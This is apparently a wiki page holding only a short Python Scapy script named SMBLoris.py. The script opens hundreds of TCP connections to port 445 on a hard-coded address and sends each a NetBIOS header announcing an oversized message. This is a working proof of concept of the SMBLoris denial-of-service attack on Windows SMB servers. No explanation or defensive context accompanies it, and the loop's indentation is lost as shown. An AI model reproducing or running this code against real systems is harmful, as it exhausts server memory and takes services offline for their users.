Skip to content

SMBLoris.py

Dat0s edited this page Jul 31, 2017 · 2 revisions

from scapy.all import *
import sys

p0 = int(sys.argv[1])

conf.L3socket
conf.L3socket=L3RawSocket

i = IP()
i.dst = "172.16.16.137"
t = TCP()
t.dport = 445

for p in range (p0,p0+700):
print (p)
t.sport = p
t.flags = "S"

r = sr1(i/t)
rt = r[TCP]
t.ack = rt.seq + 1
t.flags = "A"
sbss = '\x00\x01\xff\xff'
sent(i/t/sbss)

Clone this wiki locally